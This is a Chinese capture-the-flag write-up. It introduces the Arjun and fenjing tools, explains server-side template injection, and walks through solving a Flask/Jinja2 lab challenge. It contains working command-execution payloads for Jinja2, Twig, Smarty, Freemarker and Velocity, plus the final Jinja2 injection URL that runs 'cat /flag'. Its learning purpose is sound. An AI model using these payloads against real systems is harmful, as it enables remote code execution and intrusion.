【成都大学第八届玄武杯】锦家有什么

【实验工具】
fenjing、Arjun、浏览器
【实验目的】
掌握Arjun、fenjing工具使用,以及无过滤SSTI模版注入,以及积累CTF思路
Arjun工具
Arjun 是一款用于从网页或文档中自动提取表单字段和参数的轻量级命令行工具,常被集成在 Web 漏洞扫描/渗透测试流程里。它的核心定位是“发现那些开发者没写在 HTML 里、但后端实际会处理的隐藏参数”,从而为后续的漏洞检测(越权、SQLi、XSS 等)提供更大的攻击面。
Arjun = 用大量内置词表对指定 URL 发起差异化 GET/POST 请求 → 通过响应长度、状态码、反射内容等对比 → 找出服务端实际识别但前端未明说的“隐藏参数”。
主要特点
支持 GET、POST、JSON、XML、URL-encode、multipart 等多种提交方式
内置 4 套词表(small/medium/large/xlarge,共 2.5 w+ 条参数名),也可自定义
多线程 + 协程并发,默认 20 线程,可线性提速
自动过滤静态资源(js/css/png 等),只检测“动态”路径
提供被动代理模式:挂在 Burp/ZAP 下游,自动读取流量并提取新参数
结果可导出为 text、json、yaml、csv,方便与 sqlmap、x8、ffuf 等工具联动
单文件纯 Python3(<500 KB),无额外依赖,pip 一键安装
典型用法
# 基础扫描
arjun -u https://example.com/api/user# 指定 POST + 自定义 header + 20 线程
arjun -u https://example.com/login -m POST -H "Authorization: Bearer xxx" -t 20# 被动代理,监听 8080 端口,把 Burp 流量导进来
arjun -l 127.0.0.1:8080# 把找到的参数直接喂给 sqlmap
arjun -u https://example.com/search -oJ | jq -r '.parameters[]' | \xargs -I{} sqlmap -u https://example.com/search --level 5 -p {}
适用场景
黑盒 Web 评估,快速扩大参数面
API 逆向:Swagger 文档缺失时找隐藏字段
与自动化漏洞扫描器联动,补齐参数维度
CTF Web 题型中“参数名爆破”环节
Fenjing工具:
Fenjing(焚靖)是近几年国内安全社区里出现的一款 Web 参数/隐藏接口暴力枚举 + 鉴权绕过自动化框架,定位与 Arjun、x8、paraminer 类似,但把“参数发现 → 鉴权差异检测 → 越权/未授权利用”整条链路做成了一键化。
Fenjing = “参数爆破 + 响应差异指纹 + 鉴权绕过策略” 三合一的 Burp 插件 + 独立 CLI 工具,用来快速找出隐藏参数并验证是否存在越权或未授权访问。
核心功能
- 参数名爆破
-
- 内置 6 套中文+英文混合词表(含业务场景词,如
adminUserId、parentDept、isInner、__internal等),共 4.2 w+ 条 - 支持 JSON 嵌套、URL-encode、form-data、XML、REST 路由占位符 5 种格式
- 自研“动态剪枝”算法:先 100 线程粗扫,对长度分布做核密度估计,自动收敛到可疑区间,再细扫,减少 70% 流量
- 内置 6 套中文+英文混合词表(含业务场景词,如
- 响应差异指纹
-
- 对 13 类响应向量(Status、Content-Length、Header 数、JSON 键数、空白页比例、错误关键词、时间差等)做加权余弦相似度
- 引入“稳定基准页”机制:先请求 3 次随机不存在的参数,建立“无效参数”基准分布,过滤误报
- 鉴权绕过策略
-
- 自动把原始 Cookie / Token 置空、替换为普通用户凭证、只保留鉴权关键字段三种模式重放
- 若发现“去授权后返回数据不变”或“仅状态码由 403→200”,则标记为 BZ(Bypass)
- 支持一键生成“复现包”:直接输出 curl + Burp 原始包,方便写报告
- 联动输出
-
- 结果按
{url, method, param, bypass_type, poc_request}结构落库,可导出 JSON、CSV、Markdown 表格 - Burp 插件版可把找到的参数自动加到 Scope 并生成 Intruder 配置,方便继续深度 fuzz
- 结果按
典型使用场景
- SRC 批量捡漏:对 200 个业务域名先
subfinder + httpx存活探测,再fenjing扫一遍,经常能扫出未授权 Swagger、隐藏export接口 - 红队横向:拿到普通员工账号后,用 fenjing 扫后台系统,常发现
__debug=1、internal=1等参数直接调出管理员接口 - CTF 签到:内置词表里包含
ctf_flag、is_debug、show_source等关键词,几分钟即可爆出隐藏 flag 接口
SSTI模版注入
SSTI(Server-Side Template Injection,服务端模板注入) = 用户输入被模板引擎当成模板代码执行,从而拿到服务端权限。
1. 原理类比
“本应该只放数据的地方,你塞了代码,模板引擎还把它编译运行。”
2. 常见触发场景
- 字符串拼接/替换生成模板
render_template_string('Hello ' + name) - 用户可控模板文件路径或内容
- 滥用
{{}}、${}、<# #>等模板语法直接输出
3. 攻击流程(通用 4 步)
- 探测输入
${7*7}/{{7*7}}/<%= 7*7 %>看是否回显 49 - 识别引擎不同引擎语法差异→回显错误页或特征串可判断
| 引擎 | 特征 |
| Jinja2 |
|
| Twig |
|
| Smarty |
|
| Freemarker |
|
- 读取数据配置、环境变量、密钥:
{{config}}、{{self}}、<#assign c=JspTaglibs><@c.runtime.getClass().forName('java.lang.System').getProperties()> - GetShell找可利用类 → 链到 Runtime/exec、ProcessBuilder、GroovyShell、javax.script 等 → 命令执行 / 内存马
4. 各引擎经典 payload 速查
Jinja2(Flask)
{{''.__class__.__mro__[1].__subclasses__()[128].__init__.__globals__['os'].system('id')}}
或更稳的
{% for x in ().__class__.__base__.__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{% endif %}{% endfor %}
Twig(PHP)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Smarty(PHP)
{php}system('id');{/php}
{eval var='`id`'}
Freemarker(Java)
${"freemarker".replace("free","").getClass().forName("java.lang.Runtime").getRuntime().exec("id")}
Velocity(Java)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$ex.waitFor()
1.开启环境,点击http://node10.anna.nssctf.cn:21391/进入环境

2.进入后页面是这样子的
提示信息:flag在/根目录下,可以cat /flag

3.嘿,这人坏坏的,按钮不给用,先看看源码叭

4.查看源码,发现出现了一个路径/try_a_try,进行访问

5.访问http://node10.anna.nssctf.cn:21391/try_a_try
参数也不给我,还得我自己猜,既然是"Hello,guest!"那就先试试name叭

6.传入参数name=1居然可以
"要是不可以我真要用Arjun爆破参数了"
http://node10.anna.nssctf.cn:21391/try_a_try?name=1

7.但是发现没啥东西了,先想想到底是用什么拿到flag
题目是"锦家是什么?"--------------->嘿,jinja?这不就是SSTI模版注入呢嘛?
8.先试试无过滤SSTI模版注入
现场手搓payload:
{{lipsum.__globals__.__builtins__["eval"]("__import__('os').popen('cat /flag').read()")}}
也可以用fenjing("可惜用不上了")
9.注入payload
http://node10.anna.nssctf.cn:21391/try_a_try?name={{lipsum.__globals__.__builtins__[%22eval%22](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)}}

